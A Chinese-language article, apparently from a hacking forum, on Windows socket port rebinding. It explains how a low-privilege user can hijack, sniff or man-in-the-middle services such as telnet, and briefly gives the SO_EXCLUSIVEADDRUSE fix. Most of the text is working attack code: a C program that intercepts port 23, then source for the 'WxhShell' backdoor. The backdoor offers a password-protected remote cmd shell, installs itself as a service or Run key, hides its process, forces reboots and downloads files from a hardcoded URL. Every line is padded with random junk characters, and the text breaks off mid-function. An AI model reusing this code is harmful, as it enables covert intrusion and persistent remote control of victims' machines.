在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5ABhj* 7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M(q'%XL^ L6P1L) saddr.sin_family = AF_INET;
1^J`1 5`[n8mU saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;oOv/3 }u{gR:lZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
gYAF'? \,UZX&ip 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;Q0bT`/X =1;= 这意味着什么?意味着可以进行如下的攻击:
9W`Frx'h1 K ?$#ntp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!<@J6??a}s ^nK7i[yF.k 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gYop--\14] ybdd;t}&1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xG&SX#[2 t%1 ^Li 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
O;Y:uHf ~}ml*<z@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
dj6*6qX0'^ 4pU>x$3$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
D<{{ :7n !G5a*8] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~|Y>:M+0Z &:B<Q$g# #include
.y5,x\Pq( #include
._:nw=Y0<} #include
g&/p*c_ #include
6&U+6gb DWORD WINAPI ClientThread(LPVOID lpParam);
l7[7_iB&E int main()
.3 pbuU {
W1aa:hEf WORD wVersionRequested;
C.MoKa3 DWORD ret;
1r)kR@!LNG WSADATA wsaData;
YA(@5CZ BOOL val;
8G%yB}pa SOCKADDR_IN saddr;
)x,8D ~p' SOCKADDR_IN scaddr;
h #Z4pN8T3 int err;
'rP]Nw SOCKET s;
I 8 SOCKET sc;
u0`o A int caddsize;
%~|HFYd HANDLE mt;
"%2xR[NF DWORD tid;
SU _SU". wVersionRequested = MAKEWORD( 2, 2 );
~q0*"\Ff err = WSAStartup( wVersionRequested, &wsaData );
4pz|1Hw7 if ( err != 0 ) {
}A$WO{2 printf("error!WSAStartup failed!\n");
}f>H\iJe return -1;
+ bhym+ }
8t"~Om5sG saddr.sin_family = AF_INET;
)wXuwdc[ CR<`ZNuWz //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Mq%,lJA\ 7YWNd^FI
V saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
L?&'xzt B saddr.sin_port = htons(23);
ni&*E~a
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!7B\Xl'S {
)o _j]K+xI printf("error!socket failed!\n");
{[Q0qi = return -1;
d?,M/$h }
0\{BWNK val = TRUE;
D]! aT+ //SO_REUSEADDR选项就是可以实现端口重绑定的
%Tn#- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{.e=qQ%P5) {
:q##fG'm/ printf("error!setsockopt failed!\n");
woH)0v return -1;
=/Aj }
72oWhX=M% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
s0UFym8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qUF'{K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
eKZ%2|+j!7 |w}w.% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.]4W!])9 {
em@EDMvI ret=GetLastError();
/G{_7cb printf("error!bind failed!\n");
Jwn AW}= return -1;
3M*Bwt;F_ }
P3tx|:gV listen(s,2);
G1T^a>tj4 while(1)
TTNkr` {
8
}'|]JK caddsize = sizeof(scaddr);
E|"=.
T //接受连接请求
=H7xD"'%R sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i?;r7> if(sc!=INVALID_SOCKET)
g8;D/ {
wz8PtfZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}$su4A@0 if(mt==NULL)
y k161\ {
)(Iy<Y?# printf("Thread Creat Failed!\n");
g{s'GyV8t break;
JYqSL)Ta*t }
nCg66-3A }
EEy$w1ec CloseHandle(mt);
lEL78l. }
01a-{&
closesocket(s);
3Q}$fQ&S WSACleanup();
!,$i6gm return 0;
1nj(hg }
qf'm=efRyu DWORD WINAPI ClientThread(LPVOID lpParam)
5@osnf? {
{WN(&eax SOCKET ss = (SOCKET)lpParam;
-!qu"A: SOCKET sc;
w6|9|f/ unsigned char buf[4096];
XP[uF ;w SOCKADDR_IN saddr;
<{(/E0~V/< long num;
^o?S M^ DWORD val;
X##1!
ad DWORD ret;
!SOrCMHx //如果是隐藏端口应用的话,可以在此处加一些判断
6"T['6:j //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k ^'f[|} saddr.sin_family = AF_INET;
H Yr}wG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
UO`;&e-DB saddr.sin_port = htons(23);
AtS;IRN@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z:Sigo_z[ {
H2gj=krK printf("error!socket failed!\n");
{aKqXL[UP return -1;
F#|O@.tDG }
`XTh1Z\ val = 100;
Upl6:xYrG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|rRO@18dA {
fr6^nDY ret = GetLastError();
_Yb_D/ return -1;
~0"p*?^ }
iItcN;;7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q*jNH\| {
W~T}@T:EN ret = GetLastError();
#PvB/3 return -1;
!{,F~i9 }
EC&@I+'8Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;|%dY{L- {
n#Dv2 E=6 printf("error!socket connect failed!\n");
gB,G.QM*6 closesocket(sc);
:S@1 closesocket(ss);
#(Or|\t return -1;
}]1BO }
8cx=#Me while(1)
89}Y5#W {
gE/Tj$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
',7??Q7j&v //如果是嗅探内容的话,可以再此处进行内容分析和记录
?VU(Pq*` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
oj,lz? num = recv(ss,buf,4096,0);
u#7+U\ if(num>0)
Q~D`cc|] send(sc,buf,num,0);
IHfzZHy else if(num==0)
z(uZF3 break;
MjfFf} @ num = recv(sc,buf,4096,0);
l*b)st_p% if(num>0)
oz'\q0 send(ss,buf,num,0);
!M<{E* else if(num==0)
1iT\df break;
23(=Xp3;> }
73A)lU. closesocket(ss);
31+;]W=
closesocket(sc);
{Ee>n^1 return 0 ;
v;#=e$%}MO }
{@}?k s5 .Jb$l$5'w .V9e=yW!* ==========================================================
zboF
1v` V+-$jOh 下边附上一个代码,,WXhSHELL
<|O^>s; PALl sGlf ==========================================================
gQSNU_o Z Vpfp}pL #include "stdafx.h"
#BK 9 k>i _?7#MWe& #include <stdio.h>
y]..=z_ql #include <string.h>
>C WKH~ #include <windows.h>
7DW]JK l #include <winsock2.h>
lor8@Qz #include <winsvc.h>
3LR p2(A #include <urlmon.h>
~d{.ng 4K f"#m=_Xm #pragma comment (lib, "Ws2_32.lib")
?i\B^uB #pragma comment (lib, "urlmon.lib")
R)?{]]v HJ?+A-n/ #define MAX_USER 100 // 最大客户端连接数
p5=|Y^g ! #define BUF_SOCK 200 // sock buffer
?8dVH2W. #define KEY_BUFF 255 // 输入 buffer
qJ!Z~-hS 39U5jj7i #define REBOOT 0 // 重启
\ A1uhHP! #define SHUTDOWN 1 // 关机
D;GD<zC] %HQ.| #define DEF_PORT 5000 // 监听端口
FFhtj(hVgc 1
"TVRb #define REG_LEN 16 // 注册表键长度
=6FUNvP#8 #define SVC_LEN 80 // NT服务名长度
gV1[3dW ?71+f{s // 从dll定义API
&Wp8u#4L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S,fCV~Cio? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
F1;lQA*7K. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O40+M)e] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
fjo{av~]y n6WY&1ZE~ // wxhshell配置信息
3OyS8` struct WSCFG {
+`mGK:> int ws_port; // 监听端口
ymY1o$qWB} char ws_passstr[REG_LEN]; // 口令
=+5,B\~q@C int ws_autoins; // 安装标记, 1=yes 0=no
,?UM;^
char ws_regname[REG_LEN]; // 注册表键名
Eu}b8c char ws_svcname[REG_LEN]; // 服务名
5 /",<1 char ws_svcdisp[SVC_LEN]; // 服务显示名
6[qA`x# char ws_svcdesc[SVC_LEN]; // 服务描述信息
1L7{p>;-dO char ws_passmsg[SVC_LEN]; // 密码输入提示信息
x"kjs.d7[< int ws_downexe; // 下载执行标记, 1=yes 0=no
J;t 7&Zpe char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v1U?&C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)/ Ud^wi rr`;W}3 };
=*BIB5 {
kSf{>Ia
// default Wxhshell configuration
Mpue struct WSCFG wscfg={DEF_PORT,
8rZ!ia! "xuhuanlingzhe",
CF!Sa 6 1,
<E;pgw! "Wxhshell",
seFGJfN\?f "Wxhshell",
=-cwXo{Q.O "WxhShell Service",
l@j.hTO< "Wrsky Windows CmdShell Service",
vgIpj3u "Please Input Your Password: ",
A*h{Lsx; 1,
i
LBvGZ<9 "
http://www.wrsky.com/wxhshell.exe",
+.B<Hd "Wxhshell.exe"
t9gfU5? };
1[F3 Z sRVIH A, // 消息定义模块
Z#d&|5Xj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?rVy2! char *msg_ws_prompt="\n\r? for help\n\r#>";
F~#zxwd char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6dH }]~a char *msg_ws_ext="\n\rExit.";
tbo>%kn char *msg_ws_end="\n\rQuit.";
<^.=>Q0S\ char *msg_ws_boot="\n\rReboot...";
}_tl n char *msg_ws_poff="\n\rShutdown...";
`cz2DR-" char *msg_ws_down="\n\rSave to ";
j*@l"V>~ [sV"ws char *msg_ws_err="\n\rErr!";
2Q7R6*<N: char *msg_ws_ok="\n\rOK!";
<F7kh[L_x MvLs%GE% char ExeFile[MAX_PATH];
t9
\x%=
int nUser = 0;
Ok5<TZ6t4k HANDLE handles[MAX_USER];
@4d)R int OsIsNt;
i!2TH~zl W+wA_s2&D SERVICE_STATUS serviceStatus;
zQ?!f#f SERVICE_STATUS_HANDLE hServiceStatusHandle;
ulT8lw=' WFR?fDtE // 函数声明
l5%G'1w#,j int Install(void);
$w)~O<_U int Uninstall(void);
VLsxdwHgb int DownloadFile(char *sURL, SOCKET wsh);
C,V%B int Boot(int flag);
1sE?YJP- void HideProc(void);
O-]mebTvw int GetOsVer(void);
qs\2Z@; int Wxhshell(SOCKET wsl);
!J1rRPV void TalkWithClient(void *cs);
_cTh#t ^ int CmdShell(SOCKET sock);
,H}_%}10 int StartFromService(void);
5IOFSy` int StartWxhshell(LPSTR lpCmdLine);
~0$NJrUy -\ZcOXpMx= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5*PYT=p} VOID WINAPI NTServiceHandler( DWORD fdwControl );
r;9 r!$d 7*Qk`*Ii // 数据结构和表定义
y4Z&@,_{ SERVICE_TABLE_ENTRY DispatchTable[] =
$CTSnlPq {
*b *G2f^ {wscfg.ws_svcname, NTServiceMain},
e+v({^k {NULL, NULL}
n8=5-7UT };
uY_SU-v m p<1yY] // 自我安装
<99M@ cF int Install(void)
c0c|z
Ym {
m42T9wSsx char svExeFile[MAX_PATH];
R_]{2~J+ HKEY key;
g
6]epp[8 strcpy(svExeFile,ExeFile);
?7:KphFX) ^
&E}r{? // 如果是win9x系统,修改注册表设为自启动
kp?w2+rz if(!OsIsNt) {
1XG!$4DW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OJT1d-5p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YzosZ! L!< RegCloseKey(key);
dpQG[vXe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"gd=J_Yw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=U[3PC-N@ RegCloseKey(key);
i
8!zu!-0 return 0;
Z UKf`m[ }
g71[6<D }
IJTtqo }
Qjx?ri// else {
s?8<50s 9[!,c`pw // 如果是NT以上系统,安装为系统服务
u&G.4QQF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
(>J4^``x= if (schSCManager!=0)
$VAx:Y| {
,Vd\m"K{ SC_HANDLE schService = CreateService
u4z&!MT} (
jVLA CWH schSCManager,
2._X|~0a wscfg.ws_svcname,
ob+euCuJ wscfg.ws_svcdisp,
f>'Y(dJ'W SERVICE_ALL_ACCESS,
01!s"wjf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
V)Z70J<' SERVICE_AUTO_START,
0CSv10Tg SERVICE_ERROR_NORMAL,
Iff9'TE svExeFile,
'65LKD NULL,
I%|>2}-_U NULL,
ntNI]~z& NULL,
f}guv~K NULL,
=U|N=/y#hJ NULL
gTRF^knrY );
'
|-JWH if (schService!=0)
wf,7== {
TJE\A)|>g CloseServiceHandle(schService);
(E,T#uc{ CloseServiceHandle(schSCManager);
!+u"3;%h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.4.b*5 strcat(svExeFile,wscfg.ws_svcname);
L@=3dp!\Cu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
sNun+xsf^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'B+ ' (f RegCloseKey(key);
Kn+S, 1r return 0;
"CiTa>x }
+_-bJo2a }
:akT 'q# CloseServiceHandle(schSCManager);
I ZQHu h }
l
& Dxg }
t|t#vcB 6c0>gUQx- return 1;
/0\
mx4u }
@FdSFQ/9 #plY\0E@ // 自我卸载
4Llo`K4 int Uninstall(void)
lKk/p^: {
d[rv1s>i HKEY key;
a >\vUv* bINvqv0v if(!OsIsNt) {
d1[ZHio2c? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P%K4[c W~ RegDeleteValue(key,wscfg.ws_regname);
Wg`R_>qQSm RegCloseKey(key);
ZiLj=bh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[qsEUc+Z.' RegDeleteValue(key,wscfg.ws_regname);
o\vBOp?hj RegCloseKey(key);
0M\D[mg return 0;
j,]Y$B }
){jla,[ }
8Lw B
B }
m N8pg4 else {
/VG2.: A'P(a` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\h8 <cTQ if (schSCManager!=0)
-G6U$ {
Ty88}V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
g^zs,4pPU< if (schService!=0)
fhB}9i^]tg {
{v3P9s( if(DeleteService(schService)!=0) {
yDNOt C| CloseServiceHandle(schService);
g+X}c/". CloseServiceHandle(schSCManager);
k4 F"'N return 0;
yA47"R }
2wF8 P) CloseServiceHandle(schService);
36US5ef }
^n0]dizB CloseServiceHandle(schSCManager);
/dnCwFXf }
ON+J>$[[ }
1;VHM' Jmx Ko+- return 1;
W`^@)|9^) }
W456!OHa F-6c_! // 从指定url下载文件
\TU3rk&X int DownloadFile(char *sURL, SOCKET wsh)
y(K"
-? {
~i 7^P9 HRESULT hr;
0Won9P char seps[]= "/";
QY= = GfHt char *token;
Y3Q9=u*5 char *file;
4j)tfhwd8 char myURL[MAX_PATH];
aMTu-hA char myFILE[MAX_PATH];
qx%}knB Hc`A3SMR strcpy(myURL,sURL);
Bj7gQ%>H4 token=strtok(myURL,seps);
v0L\0&+ while(token!=NULL)
&c1A*Pl/:G {
dO%W+K file=token;
7 [0L9\xm token=strtok(NULL,seps);
sJNFFOz }
$ MC)}l GgKEP,O GetCurrentDirectory(MAX_PATH,myFILE);
)p*}e8L strcat(myFILE, "\\");
.1LCXW= strcat(myFILE, file);
$8BPlqBIZ send(wsh,myFILE,strlen(myFILE),0);
W%\C_ send(wsh,"...",3,0);
r7qh>JrO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
3do)Vg4
if(hr==S_OK)
|fo0 return 0;
}NB}"%2 else
B$Kn1 k return 1;
"yW:\ 7%sdtunf` }
n0is\ZK 0 m)oJFF // 系统电源模块
[n}T|< int Boot(int flag)
4WK3.6GN {
{5
sO HANDLE hToken;
$q 2D+_ TOKEN_PRIVILEGES tkp;
c [5KG} )vxUT{;sH if(OsIsNt) {
A`R{m0A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
jmeRrnC} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
cv`~y'?D tkp.PrivilegeCount = 1;
dUsxvho tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
--DoB=5%8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,cqF3 if(flag==REBOOT) {
Q$fmD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
A@Dw<.&_I return 0;
sq'Pyz[[ }
YID4w7| else {
c_>f0i if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?R$&Xe!5 return 0;
#^]n0! }
mml
z&h }
x,'!eCKN else {
z<5m
fAm if(flag==REBOOT) {
=Qn ;_+Ct if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$.bBFWk return 0;
Qa.uMq }
&y#r;L<9 else {
VJS8)oI~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+$Rt+S BD return 0;
)(@Hd }
7hcNf, }
/Ju;MeE9 zL J/5& return 1;
1m .W< }
nqf,4MR Ox@P6|m // win9x进程隐藏模块
^I+)o1%F void HideProc(void)
>
%KuNy{ {
+}a ]GTBgA {*ob_oc HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
znHnVYll( if ( hKernel != NULL )
Y5j]Z^^v {
xL" |)A = pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
I&YSQK:b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)K2HK&t: FreeLibrary(hKernel);
&
j+oJasI }
M8TSt\ ?y!E-& return;
95V@X
^Ee }
Zcc9e03 `Ry]y"K // 获取操作系统版本
p
l&Muv int GetOsVer(void)
]EpWSs!"g {
x|5k<CiA OSVERSIONINFO winfo;
C7O6qpO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1w&!H]%{ GetVersionEx(&winfo);
*2X0^H|dS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
p"U,G
-_ return 1;
i _%Q`i else
s@7H1)U return 0;
)sT> i }
J.|+ID+ @|tL8? // 客户端句柄模块
jt.3P int Wxhshell(SOCKET wsl)
PV=5UyjW {
Gmz6$^D SOCKET wsh;
?pzaG{ struct sockaddr_in client;
5;{H&O9Q DWORD myID;
@n": w2^B "T- `$'9 while(nUser<MAX_USER)
X<*U.=r) {
vZBc!AW int nSize=sizeof(client);
E^SH\5B wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zO
MA if(wsh==INVALID_SOCKET) return 1;
/ID?DtJ $-*!pRaVU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{qa Aq%' if(handles[nUser]==0)
h?azFA~ closesocket(wsh);
C;vtY[}< else
Vkc#7W( nUser++;
w/ K_B:s }
aVd,xl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:]1TGfS 2Roc|)-47 return 0;
Kp,M"Y }
aT$9; Xqm::1(-( // 关闭 socket
.>IhN 5 void CloseIt(SOCKET wsh)
MHC^8VL {
_> *jH' closesocket(wsh);
!U~WK$BP nUser--;
$
<#KA3o\ ExitThread(0);
8M`#pN^ }
&HY+n)
o E2{FK)qT // 客户端请求句柄
({=gw9f void TalkWithClient(void *cs)
;/rXQe1 {
I}vmU^Y> !dC<4qZ\C SOCKET wsh=(SOCKET)cs;
x3"#POp char pwd[SVC_LEN];
}x
wu*Zx char cmd[KEY_BUFF];
B[4KX char chr[1];
>L
0_ dvr int i,j;
h^o{@/2 <z!CDg4 while (nUser < MAX_USER) {
[n$BRk| 6 M*O{f if(wscfg.ws_passstr) {
hHMN6i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
byfJy^8G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
iS<I0\D //ZeroMemory(pwd,KEY_BUFF);
MEGv} i=0;
~7zGI\=P@ while(i<SVC_LEN) {
!!? Mw BFOq8}fX2 // 设置超时
HZf/CE9T fd_set FdRead;
'4#}e[e struct timeval TimeOut;
jYhB
+| FD_ZERO(&FdRead);
jWE:ek* FD_SET(wsh,&FdRead);
TTTPxO, TimeOut.tv_sec=8;
& J2M1z% TimeOut.tv_usec=0;
cu/5$m?xx int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9*1,!%] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ML>[^F W!>.$4Q9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k|H: pwd
=chr[0]; 6gs01c,BA
if(chr[0]==0xd || chr[0]==0xa) {
#c66)
pwd=0; |YY_^C`"-
break; ]f({`&K5
} ]&pds\
i++; 0ok-IHE<
} vTx2E6
k-{<=>uM
// 如果是非法用户,关闭 socket sH[ROm
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u!W0P6
} M%kO7>h8
Oz%>/zw[h
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A"rfZ`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LpqO{#ZG
ftF@Wq1f
while(1) { /
:n#`o=;
^*Yh@4\{JH
ZeroMemory(cmd,KEY_BUFF); Evjj"h&0J
7G>dTO
// 自动支持客户端 telnet标准 Q{5kxw1ZF
j=0; Y*vW!yu
while(j<KEY_BUFF) { "pRtczxOgR
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~,B5Hc 2
cmd[j]=chr[0]; K$E3QVa
if(chr[0]==0xa || chr[0]==0xd) { Nqa&_5"
cmd[j]=0; TmV,&['mg
break; 4QIX19{"
} G%W8S
\
j++; /VN f{p
} +yD`3`
E
?}U(3
// 下载文件 "\o+v|;
if(strstr(cmd,"http://")) { -RvQB
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cLsV`@J(k
if(DownloadFile(cmd,wsh)) @8ppEFw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `6]%P(#a
else 5MtLT#C3r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5jgR4a*_v
} S9~+c
else { &b%zQ4%d-`
PC-"gi=h
switch(cmd[0]) { +2&@x=xy
I
,z3xU
// 帮助
`yH<E+
case '?': { tAv@R&W,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e(GP^oK
break; mSb#Nn6W
} Ke2ccN
// 安装 [VsKa\9u
case 'i': { HTS%^<u
if(Install()) E4~<V=2l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l^pA2yh|
else li}1S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z;|A(*Y
break; `</ff+Q6
} <#u=[_H
// 卸载 9vGu0Um
case 'r': { to DG7XN}
if(Uninstall()) dE4L=sTEsy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sE Q=dcK
else 3 +G$-ru
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bj>v|#r^
break; rzm:Yx
} fj;y}t1E]
// 显示 wxhshell 所在路径 n O\"HLM
case 'p': { 0dGAP
char svExeFile[MAX_PATH]; e'~J,(fB
strcpy(svExeFile,"\n\r"); P'Ux%Q+B>
strcat(svExeFile,ExeFile); UJCYs`y
send(wsh,svExeFile,strlen(svExeFile),0); IpcNuZo9&
break; 2[O&NdP\Zk
} /2=#t-p+
// 重启 GycSwQ
,
case 'b': { 0+kH:dP{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I uMQ9&
if(Boot(REBOOT)) Pa
V@aM~3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `\#B18eU
else { `OXpU,Z 6U
closesocket(wsh); B1>/5hV}
ExitThread(0); [d1mLJAR
} &h^9}>rVjV
break; 4'a=pnE$
} p8h9Ng*&`
// 关机 ;;C?{
case 'd': { d9;g]uj`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oPXkYW
if(Boot(SHUTDOWN)) o:3dfO%nuM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iB%gPoDCL@
else { w~"KA6^
closesocket(wsh); Kgi<UkFP
ExitThread(0); X[&Wkr8x '
} ymx>i~>7J
break; ,^w?6?,&l}
} iw8yb;|z;A
// 获取shell +'I+o5*
case 's': { W;'!gpa
CmdShell(wsh); VcSVu
closesocket(wsh); #xQr<p$L6
ExitThread(0); iS
WU'K
break; R3;Tk^5A
} CohDO
// 退出 smRE!f*q
case 'x': { 2.l Z:VLN
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^Eb.:}!D6
CloseIt(wsh); $o0iLFIX/
break; J;{N72
} ]|zp0d=&o
// 离开 QxVq^H
case 'q': { G
MX?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |:xYE{*)H
closesocket(wsh); ]
2eK
WSACleanup(); .<x&IJ /
exit(1); ;CmS ~K:
break; )FF>IFHG
} >*#1ZB_l
} 1 u| wMO
} ?'@8kpb
5q;GIw^L
// 提示信息
UEM(@zD]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GqaDL3Niqs
} zF8dKFE~
} j53*E
)d
mpI5J'>]
return; ^S UPi
} oX S1QT`B
Bm.:^:&k
// shell模块句柄 aE&,]'6
int CmdShell(SOCKET sock) H:t$'kb`
{ E9Np 0M<
STARTUPINFO si; zR1^I~
%
ZeroMemory(&si,sizeof(si)); @z4*.S&tz
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;V*R*R
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }XV+gyG=@
PROCESS_INFORMATION ProcessInfo; #(#Wv?r6
char cmdline[]="cmd"; 4e~A1-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #A1Z'y0
return 0; %Y<| ;0v
} R?~Yp?B^
)0"wB
// 自身启动模式 ,2j&ko1
int StartFromService(void) ?Z Rs\+{vG
{ 7
%Oa;]|
typedef struct <>s`\ %
{ ~$:|VHl
DWORD ExitStatus; &x[E;P*Fg
